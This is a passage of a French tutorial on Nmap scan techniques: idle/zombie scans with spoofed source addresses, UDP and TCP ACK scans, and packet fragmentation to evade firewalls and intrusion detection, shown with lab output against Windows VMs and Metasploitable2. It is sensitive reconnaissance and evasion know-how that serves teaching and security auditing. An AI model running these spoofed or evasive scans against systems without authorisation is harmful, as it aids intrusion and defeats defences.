L'idle scan exploite le fait que l'on peut, sous certaines conditions, prédire les numéros d'identification IP (IPID). L'attaquant doit d'abord rechercher une machine avec une séquence d'IPID prévisible. Par exemple, le numéro d'identification sera incrémenté de 1 à chaque fois. Les dernières versions de Linux, Solaris et OpenBSD ne sont pas des cibles appropriées puisque les algorithmes de génération d'IPID ont été corrigés. Les machines choisies pour être utilisées à ce niveau sont parfois appelées « zombis ». Une fois qu'une machine zombi a été trouvée, la première étape est de déterminer le numéro IPID actuel de la machine : en envoyant un pacquet SYN/ACK au zombi, le pirate recevra un paquet RST portant le numéro de séquence.
L'étape suivante consiste en l'envoi d'un paquet SYN à la machine cible, en usurpant l'adresse IP du zombi. Si le port de la machine cible est ouvert, celle-ci répondra au zombi avec un paquet SYN/ACK. Le zombi va donc envoyer un paquet RST à la cible car il n'est pas réellement l'émetteur du premier paquet SYN. Puisque la machine zombi a dû envoyer le paquet RST, elle incrémente son IPID. C'est ce qui permet à l'attaquant de découvrir si le port de la cible est ouvert. La dernière étape est donc la vérification de l'IPID, en envoyant à nouveau un paquet SYN/ACK au zombi.
Si l'IPID contenu dans le paquet RST reçu en réponse a été incrémenté deux fois, on est certain que le port cible est ouvert. En revanche si l'IPID n'est incrémenté qu'une fois, alors l'attaquant saura que ce port est fermé ou filtré.
Exemple avec nmap une cible Windows 8.1 et un zombi Windows XP familial :
# nmap -PN -p135-139 -sI 192.168.122.228 192.168.122.198
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:03 CET
Idle scan using zombie 192.168.122.228 (192.168.122.228:80); Class: Incremental
Nmap scan report for win81-0C (192.168.122.198)
Host is up (0.023s latency).
PORT STATE SERVICE
135/tcp open msrpc
136/tcp closed|filtered profile
137/tcp closed|filtered netbios-ns
138/tcp closed|filtered netbios-dgm
139/tcp open netbios-ssn
MAC Address: 52:54:00:44:C4:11 (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.55 seconds
Scan UDP
-U
Même si les services les plus connus d'Internet son basés sur le protocole TCP, les services UDP sont aussi largement utilisés. DNS, SNMP ou DHCP (ports 53, 161/162 et 67/68) sont les trois exemples les plus courants. Comme le scan UDP est généralement plus lent et plus difficile que TCP, certains auditeurs de sécurité les ignorent. C'est une erreur, car les services UDP exploitables sont courants et les attaquants eux ne les ignoreront pas. Par chance, Nmap peut aider à répertorier les ports UDP.
Le scan UDP est activé avec l'option-sU. Il peut être combiné avec un scan TCP, comme le scan SYN ( -sS), pour vérifier les deux protocoles lors de la même exécution de Nmap.
Le scan UDP envoie un en-tête UDP (sans données) à chaque port visé. Si un message ICMP « port unreachable (type 3, code 3) » est renvoyé, le port est alors fermé. Les autres messages d'erreur « unreachable ICMP (type 3, codes 1, 2, 9, 10, or 13) » rendront le port filtré. À l'occasion, il arrive qu'un service répond par un paquet UDP, prouvant que le port est dans l'état ouvert. Si aucune réponse n'est renvoyée après plusieurs essais, le port est considéré comme étant ouvert|filtré. Cela signifie que le port peut être soit ouvert, soit qu'un dispositif de filtrage bloque les communications. Le scan de versions ( -sV) peut être utilisé pour différencier les ports ouverts de ceux filtrés.
Une des grandes difficultés avec le scan UDP est de l'exécuter rapidement. Les ports ouverts et filtrés ne renvoient que rarement des réponses, laissant Nmap expirer son délai de retransmission au cas où les paquets se soient perdus. Les ports fermés posent encore un plus grand problème: ils renvoient normalement une erreur ICMP « port unreachable ». Mais à la différence des paquets RST renvoyés par les ports TCP fermés en réponse à un scan SYN ou à un connect(), de nombreux hôtes limitent par défaut la cadence d'émission de ces messages. Linux et Solaris étant particulièrement stricts à ce sujet. Par exemple, le kernel 2.4.20 limite cette cadence des destinations inaccessibles (« destination unreachable ») à un par seconde (cf.net/ipv4/icmp.c).
Nmap détecte cette limitation de fréquence et s'y ralenti conformément afin d'éviter de saturer le réseau avec des paquets inutiles que la machine cible rejettera. Malheureusement, une limitation à la Linux d'un paquet par seconde fera qu'un scan des 65 536 ports prendra plus de 18 heures. Les idées pour accélérer les scans UDP incluent le scan des cibles en parallèle, ne scanner que les ports les plus courants en premier, scanner derrière le pare-feu et utiliser l'option --host-timeoutpour éviter les hôtes les plus lents.
Exemple de scan UDP en 17 minutes 54 secondes :
#nmap -sU 192.168.122.191
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:19 CET
Nmap scan report for 192.168.122.191
Host is up (0.00041s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
53/udp open domain
68/udp open|filtered dhcpc
69/udp open|filtered tftp
111/udp open rpcbind
137/udp open netbios-ns
138/udp open|filtered netbios-dgm
2049/udp open nfs
MAC Address: 52:54:00:E5:B9:E3 (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1073.88 seconds
Scan TCP ACK
-sA
Ce type de scan est différent des autres abordés jusqu'ici, dans le sens où ils ne peuvent pas déterminer si un port est ouvert (ni même ouvert|filtré). Il est utilisé pour établir les règles des pare-feux, déterminant s'ils sont avec ou sans états (statefull/stateless) et quels ports sont filtrés.
Le scan ACK n'active que le drapeau ACK des paquets. Les systèmes non-filtrés réagissent en retournant un paquet RST. Nmap considère alors le port comme non-filtré, signifiant qu'il est accessible avec un paquet ACK, mais sans savoir s'il est réellement ouvert ou fermé. Les ports qui ne répondent pas ou renvoient certains messages d'erreur ICMP (type 3, code 1, 2, 3, 9, 10, ou 13), sont considérés comme filtrés.
Un pare-feu ne répondra rien.
Veuillez apprécier la nuance :
Une machine Windows 10 avec pare-feu :
# nmap -sA -p139 192.168.122.208
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:29 CET
Nmap scan report for DESKTOP-0TLULO6 (192.168.122.208)
Host is up (0.0012s latency).
PORT STATE SERVICE
139/tcp filtered netbios-ssn
MAC Address: 52:54:00:27:1D:D5 (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds
# nmap -p139 192.168.122.208
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:32 CET
Nmap scan report for DESKTOP-0TLULO6 (192.168.122.208)
Host is up (0.00054s latency).
PORT STATE SERVICE
139/tcp filtered netbios-ssn
MAC Address: 52:54:00:27:1D:D5 (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.59 seconds
Une machine Windows 8.1 Pro :
# nmap -sA -p139 192.168.122.198
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:30 CET
Nmap scan report for win81-0C (192.168.122.198)
Host is up (0.0012s latency).
PORT STATE SERVICE
139/tcp filtered netbios-ssn
MAC Address: 52:54:00:44:C4:11 (QEMU Virtual NIC)
# nmap -p139 192.168.122.198
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:32 CET
Nmap scan report for win81-0C (192.168.122.198)
Host is up (0.00100s latency).
PORT STATE SERVICE
139/tcp open netbios-ssn
MAC Address: 52:54:00:44:C4:11 (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.54 seconds
root@Kali2-0C:~# nmap -p139 192.168.122.208
Un pare-feu Linux :
# nmap -sA -p139 192.168.122.225
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:30 CET
Nmap scan report for 192.168.122.225
Host is up (0.00094s latency).
PORT STATE SERVICE
139/tcp unfiltered netbios-ssn
MAC Address: 52:54:00:1F:08:E7 (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds
# nmap -p139 192.168.122.225
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:32 CET
Nmap scan report for 192.168.122.225
Host is up (0.00055s latency).
PORT STATE SERVICE
139/tcp closed netbios-ssn
MAC Address: 52:54:00:1F:08:E7 (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.55 seconds
Techniques d'évasion Nmap
Option -f
(fragmentation de paquets)
L'option -f force le scan demandé (y compris les scans de type ping ICMP) à utiliser des paquets IP fragmentés . L'idée est de partager l'en-tête TCP en plusieurs paquets pour rendre plus difficile la détection du trafic par les dispositifs de filtrage de paquets, les systèmes de détection et d'intrusion et autres systèmes de filtrage.
Exemple de scan SYN/FIN avec fragments :
# nmap -sS -A -f 192.168.122.191
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:56 CET
Nmap scan report for 192.168.122.191
Host is up (0.27s latency).
Not shown: 978 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
|_ssl-date: 2016-01-18T21:59:00+00:00; +14s from scanner time.
53/tcp open domain ISC BIND 9.4.2
| dns-nsid:
|_ bind.version: 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 39484/udp mountd
| 100005 1,2,3 55372/tcp mountd
| 100021 1,3,4 46081/tcp nlockmgr
| 100021 1,3,4 59487/udp nlockmgr
| 100024 1 53464/udp status
|_ 100024 1 60529/tcp status
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp open exec?
513/tcp open login
514/tcp open shell?
1099/tcp open java-rmi Java RMI Registry
1524/tcp open ingreslock?
2049/tcp open nfs 2-4 (RPC #100003)
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
| mysql-info:
| Protocol: 53
| Version: .0.51a-3ubuntu5
| Thread ID: 10
| Capabilities flags: 43564
| Some Capabilities: SupportsCompression, LongColumnFlag, SupportsTransactions, Support41Auth, SwitchToSSLAfterHandshake, Speaks41ProtocolNew, ConnectWithDatabase
| Status: Autocommit
|_ Salt: Of4oS3B2pc}j}Vuk:|$<
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
| vnc-info:
| Protocol version: 3.3
| Security types:
|_ Unknown security type (33554432)
6000/tcp open X11 (access denied)
6667/tcp open irc Unreal ircd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port514-TCP:V=6.49BETA4%I=7%D=1/18%Time=569D5F8F%P=x86_64-pc-linux-gnu%
SF:r(NULL,2F,"\x01Couldn't\x20get\x20address\x20for\x20your\x20host\x20\(K
SF:ali2-0C\)\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port1524-TCP:V=6.49BETA4%I=7%D=1/18%Time=569D5F95%P=x86_64-pc-linux-gnu
SF:%r(NULL,1A,"root@Metasploitable-0F:/#\x20")%r(GenericLines,82,"root@Met
SF:asploitable-0F:/#\x20root@Metasploitable-0F:/#\x20root@Metasploitable-0
SF:F:/#\x20root@Metasploitable-0F:/#\x20root@Metasploitable-0F:/#\x20")%r(
SF:GetRequest,3C75,"root@Metasploitable-0F:/#\x20Use\x20of\x20uninitialize
SF:d\x20value\x20in\x20pattern\x20match\x20\(m//\)\x20at\x20/usr/share/per
SF:l5/URI/Heuristic\.pm\x20line\x20109\.\n<HTML>\n<HEAD>\n<TITLE>Directory
SF:\x20/</TITLE>\n<BASE\x20HREF=\"file:/\">\n</HEAD>\n<BODY>\n<H1>Director
SF:y\x20listing\x20of\x20/</H1>\n<UL>\n<LI><A\x20HREF=\"\./\">\./</A>\n<LI
SF:><A\x20HREF=\"\.\./\">\.\./</A>\n<LI><A\x20HREF=\"bin/\">bin/</A>\n<LI>
SF:<A\x20HREF=\"boot/\">boot/</A>\n<LI><A\x20HREF=\"cdrom/\">cdrom/</A>\n<
SF:LI><A\x20HREF=\"dev/\">dev/</A>\n<LI><A\x20HREF=\"etc/\">etc/</A>\n<LI>
SF:<A\x20HREF=\"home/\">home/</A>\n<LI><A\x20HREF=\"initrd/\">initrd/</A>\
SF:n<LI><A\x20HREF=\"initrd\.img\">initrd\.img</A>\n<LI><A\x20HREF=\"lib/\
SF:">lib/</A>\n<LI><A\x20HREF=\"lost%2Bfound/\">lost\+found/</A>\n<LI><A\x
SF:20HREF=\"media/\">media/</A>\n<LI><A\x20HREF=\"mnt/\">mnt/</A>\n<LI><A\
SF:x20HREF=\"nohup\.out\">nohup\.out</A>\n<LI><A\x20HREF=\"opt/\">opt/</A>
SF:\n<LI><A\x20HREF=\"proc/\">proc/</A>\n<LI><A\x20HREF=\"root/\">root/</A
SF:>\n<LI><A\x20HREF=\"sbin/\">sbin/</A>\n<LI><A\x20HREF=\"srv/\">srv/</A>
SF:\n<LI><A\x20HREF=\"sys/\">sys/</A>\n<LI><A\x20HREF=\"tmp/\">")%r(HTTPOp
SF:tions,A3,"root@Metasploitable-0F:/#\x20bash:\x20OPTIONS:\x20command\x20
SF:not\x20found\nroot@Metasploitable-0F:/#\x20root@Metasploitable-0F:/#\x2
SF:0root@Metasploitable-0F:/#\x20root@Metasploitable-0F:/#\x20")%r(RTSPReq
SF:uest,A3,"root@Metasploitable-0F:/#\x20bash:\x20OPTIONS:\x20command\x20n
SF:ot\x20found\nroot@Metasploitable-0F:/#\x20root@Metasploitable-0F:/#\x20
SF:root@Metasploitable-0F:/#\x20root@Metasploitable-0F:/#\x20")%r(RPCCheck
SF:,1A,"root@Metasploitable-0F:/#\x20")%r(DNSVersionBindReq,1A,"root@Metas
SF:ploitable-0F:/#\x20")%r(DNSStatusRequest,1A,"root@Metasploitable-0F:/#\
SF:x20")%r(Help,6C,"root@Metasploitable-0F:/#\x20bash:\x20HELP:\x20command
SF:\x20not\x20found\nroot@Metasploitable-0F:/#\x20root@Metasploitable-0F:/
SF:#\x20");
MAC Address: 52:54:00:E5:B9:E3 (QEMU Virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_nbstat: NetBIOS name: METASPLOITABLE-, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| NetBIOS computer name:
| Workgroup: WORKGROUP
|_ System time: 2016-01-18T16:59:01-05:00
TRACEROUTE
HOP RTT ADDRESS
1 272.83 ms 192.168.122.191
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 202.38 seconds
La page de documentation de nmap "Évitement de pare-feux/IDS et mystification" discute d'autres techniques.